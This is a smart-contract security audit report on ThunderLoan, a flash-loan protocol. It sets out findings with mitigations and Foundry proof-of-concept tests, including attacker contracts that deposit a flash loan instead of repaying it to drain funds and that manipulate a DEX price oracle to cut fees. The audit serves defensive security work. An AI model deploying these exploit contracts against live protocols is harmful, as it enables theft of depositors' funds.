Solidity Audit

Jludvim

Protocol Summary

ThunderLoan is a flashloan protocol, a protocol that allows users to borrow money for the length of one transaction. Allowing them to execute transactions with a bigger amount of funds as long as they return the funds to the contract (plus a fee) at the end of their transaction.

Disclaimer

The Jludvim team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

src/ ├── src ├── interfaces

Audit Findings Summary

Severity	Amount
High	3
Medium	1
Low	2
Info	5

Highs

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemtion and incorrectly sets the exchange rate

Description: in `AssetToken::updateExchangeRate`, the exchange-rate between assetTokens and the lent tokens is updated through this function after a flashloan has been performed, to distribute the fee tokens among the liquidity providers in a fair manner. However it is also called in the `ThunderLoan::deposit`, altering the exchange rate without really modifying the underlying `assetToken` and `token` correlation, breaking the correct distribution of tokens.

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
```

```
            // @audit-high we shouldn't be updating the exchange rate here
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: It causes the `AssetToken` holders to claim more than they should or being unable to redeem their investments+rewards when the balance isn't enough to claim the amount calculated by the protocol.

Proof of Concept:

1. liquidity provider deposits
2. user calls a flash-loan
3. liquidity provider tries to redeem, but is unable

Add the following code to `ThunderLoanTest.t.sol`:

▶ Proof of code

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
                uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

        // 1000e18 deposit
        // 0.300000000000000000
        //3e17 fees
        // 1003.300900000000000000 <-- it is more

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation:

Eliminate the exchangeRate update from the `ThunderLoan::deposit` function

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
```

```
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);


-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] The `ThunderLoan__flashloan` function simply asserts balance as a measure of security, allowing users to deposit funds instead of repaying them

Description: In the `ThunderLoan::flashloan` function, users can borrow a certain amount from the protocol, under the condition that at the end of their transaction (at the end of the function) the final balance of the protocol is equal to the initial balance when the call was made, plus the fees. However, this doesn't check how the balance does increases. Thus an user can instead of repaying or transfering the funds, deposit them.

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance =
IERC20(token).balanceOf(address(assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
amount);
        }

     .
    //... user gains control of funds, and then deposits the amount + fees
     .
     .
        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
```

```
endingBalance);
        }
        s_currentlyFlashLoaning[token] = false;
    }
```

Impact: The users would thus be able to steal all the funds from the contract

Proof of Concept:

1. User takes a flashloan
2. deposits the amount
3. gets AssetTokens
4. returns control to the contract
5. User redeems his funds using the AssetTokens

Add the following test to the test suite in `ThunderLoanTest.t.sol`:

▶ code

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken
hasDeposits{
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(IERC20(tokenA),
amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
```

And also this contract:

▶ code

```
contract DepositOverRepay is IFlashLoanReceiver {
    // 1. Swap TOkenA borrowed for WETH
    // 2. Take out ANother flash Loan, to show the difference
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor (address _thunderLoan){
        thunderLoan = ThunderLoan(_thunderLoan);

    }
```

```
    function executeOperation(
         address token,
         uint256 amount,
         uint256 fee,
       address /*initiator*/,
     bytes calldata /*params*/
     )
         external
         returns (bool){
         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
         s_token = IERC20(token);
         IERC20(token).approve(address(thunderLoan), amount+fee);
         thunderLoan.deposit(IERC20(token), amount + fee);
                 return true;
         }

     function redeemMoney() public{
         uint256 amount = assetToken.balanceOf(address(this));
         thunderLoan.redeem(IERC20(s_token), amount);

     }
 }
```

Recommended Mitigation: Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables i nthe following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Soldiity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`, this means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s:currentlyFashLoaning` mapping will start in the wrong storage slot.

Proof of Concept:

▶ PoC

Place the following into `ThunderLoanTest.t.sol`

```
import {ThunderLoanUpgraded} from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
function testUpgradeBreaks() public{
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();

    console2.log("fee before: ", feeBeforeUpgrade);
    console2.log("fee after: ", feeAfterUpgrade);

    assert(feeBeforeUpgrade != feeAfterUpgrade);

}
```

You can also s ee the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank, as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: Using a DEX as a price oracle allows user that take a flashLoan to manipulate prices for the oracle, affecting the fee calculation proccess, and as a consequence paying fewer fees than expected. In the `getCalculatedFee` function the fees are calculated by making a call to the getPriceInWeth(address)

from `OracleUpbradeable`, which makes a call to a TSwapPool, calling the function `getPriceOfOnePoolTokenInWeth`

```
    function getPriceInWeth(address token) public view returns (uint256) {
        // e ignoring token decimals
        // q what if the token has 6 decimals? is the price wrong?
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

However, malicious users could operate in TSwap before getting a flashloan (or even use a flashloan to buy), thus reducing its price significatively for the protocol, and allowing him to pay much fewer fees.

Impact: Users could pay much fewer fees than expected

Proof Of Concept:

1. User gets a loan
2. He uses the loan to buy weth from the token pool in TSwap, making the ratio of tokens to weth much higher (and then the tokens cheaper, manipulating the price / oracle)
3. He takes another flashloan, but this time the fees are significatively lower

Add the following contract to `ThunderLoanTest.t.sol`:

▶ contract

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    // 1. Swap TokenA borrowed for WETH
    // 2. Take out ANother flash Loan, to show the difference
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked = false;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor (address _tswapPool, address _thunderLoan, address
_repayAddress){
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        tswapPool = BuffMockTSwap(_tswapPool);
    }

   function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
      address /*initiator*/,
    bytes calldata /*params*/
```

```
    )
        external
        returns (bool){

                if(!attacked){
                    // 1 .swap tokenA borrowed for WETH
                    // 2 take out another flash loan to show the
difference
                    feeOne = fee;
                    attacked = true;
                    uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                    IERC20(token).approve(address(tswapPool), 50e18);
                    // tanks the price

tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought,
block.timestamp);
                    // second flashloan
                    thunderLoan.flashloan(address(this), IERC20(token),
amount, "");
                    // repay
                    //IERC20(token).approve(address(thunderLoan), amount +
fee);
                    //thunderLoan.repay(IERC20(token), amount+fee);
                    IERC20(token).transfer(address(repayAddress), amount +
fee);

                } else{

                    feeTwo = fee;
                    //IERC20(token).approve(address(thunderLoan), amount +
fee);
                    //thunderLoan.repay(IERC20(token), amount+fee);
                    IERC20(token).transfer(address(repayAddress), amount +
fee);

                }
                return true;
        }
}
```

And also add the following Test to the test suite:

▶ proof of code

```
function testOracleManipulation() public{
    // 1. Setup contracts!
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
```

```
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // create a TSwap dex between Weth and TOkenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
    block.timestamp);
        // ratio 100 weth & 100 TokenA
        vm.stopPrank();

        // 3. fund thunderloan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();


        // 100 WETH & 100 tokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price


        //4. We are going to take out 2 flash loans
                // a. To nuke the price of the weth/tokenA on TSwap
                // b. to show that doing so greatly reduces the fees we pay on
    ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("normal fee is:", normalFeeCost);

        // 0.296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new
    MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan),
    address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("attackFee is: ", attackFee);
```

```
        assert(attackFee < normalFeeCost);
    }
```

Recommended mitigation: Consider using a different oracle mechanism, such as Chainlink price feeds.

Low

[L-1] IThunderLoan isn't implemented by the ThunderLoan contract

Although the IThunderLoan interface is defined and has been imported in the ThunderLoan contract, it is not implemented. As part of best practices its implementation is recommended.

[L-2] The `Initialize` function inside `ThunderLoan` can be front-runned, generating a different setting than desired after deployment

The `Initialize` function does set important values inside `ThunderLoan` for a single time, such as the `ownable::_owner`, or the `s_poolFactory` from `OracleUpgradeable`. However, these values could be set by anyone. Thus, someone could frontrun the owner after the deployment, and set a different Oracle, or Owner than expected, making that deployment useless. We'd encourage you in using a script for the deployment, in which the `initialize` function is also immediatedly called after the contract is created.

Recommended Mitigation:

1. Use the constructor to initialize non-proxied contracts.
2. Use scripts for deployment including both transactions

[L-3] The `Pay` function is declared as `public` as opposed to `external`, but it is never called internally, thus incurring in unneeded gas expenses

Since there is no internal use-case for the `pay` function, we suggest changing its visibility to `external`.

Recommended Mitigation:

```
-    function repay(IERC20 token, uint256 amount) public {
+    function repay(IERC20 token, uint256 amount) external{
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Informational

[I-1] In thunderloan::initialize the argument called `tswapAddress` is the same parameter multiple times used in OracleUpgradeable, which is instead named `poolFactoryAddress`

For naming consistency, and better reading it is suggested changing its name to `poolFactoryAddress`, in concordance to the rest of the code.

[I-2] Many functions have no natspec, making it much harder to understand what they're supposed to do

As part of best practices it is important to describe natspecs for the functions of a contract in order to make them easier to understand for everyone. This helps reduce the likelihood of errors by participants, and simplifies the development and reading of the code. We suggest adding a general description of the aim each function has, along with their parameters and return values.

[I-3] `updateFlashLoanFee` updates the storage, but emits no event

This might lead to UIs displaying incorrect data, adding an event emit is instead suggested.

```
+ event FlashLoanFeeUpdated(uint256 newFee);
    .
    .
    .
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashloanFeeUpdated(newFee);
    }
```

[I-4] `getAssetFromToken` is declared as with a public visibility, however it is not internally used, thus using more gas than needed

We suggest updating its visibility to external

```
-    function getAssetFromToken(IERC20 token) public view returns
(AssetToken) {
+    function getAssetFromToken(IERC20 token) external view returns
(AssetToken) {
        return s_tokenToAssetToken[token];
    }
```

[I-5] `isCurrentlyFlashLoaning` is declared as a public function, however it is not internally used, thus using more gas than needed

We suggest updating its visibility to external, reducing the gas usage.

```
-    function isCurrentlyFlashLoaning(IERC20 token) public view returns
(bool) {
```

```
+     function isCurrentlyFlashLoaning(IERC20 token) external view returns
(bool) {
         return s_currentlyFlashLoaning[token];
    }
```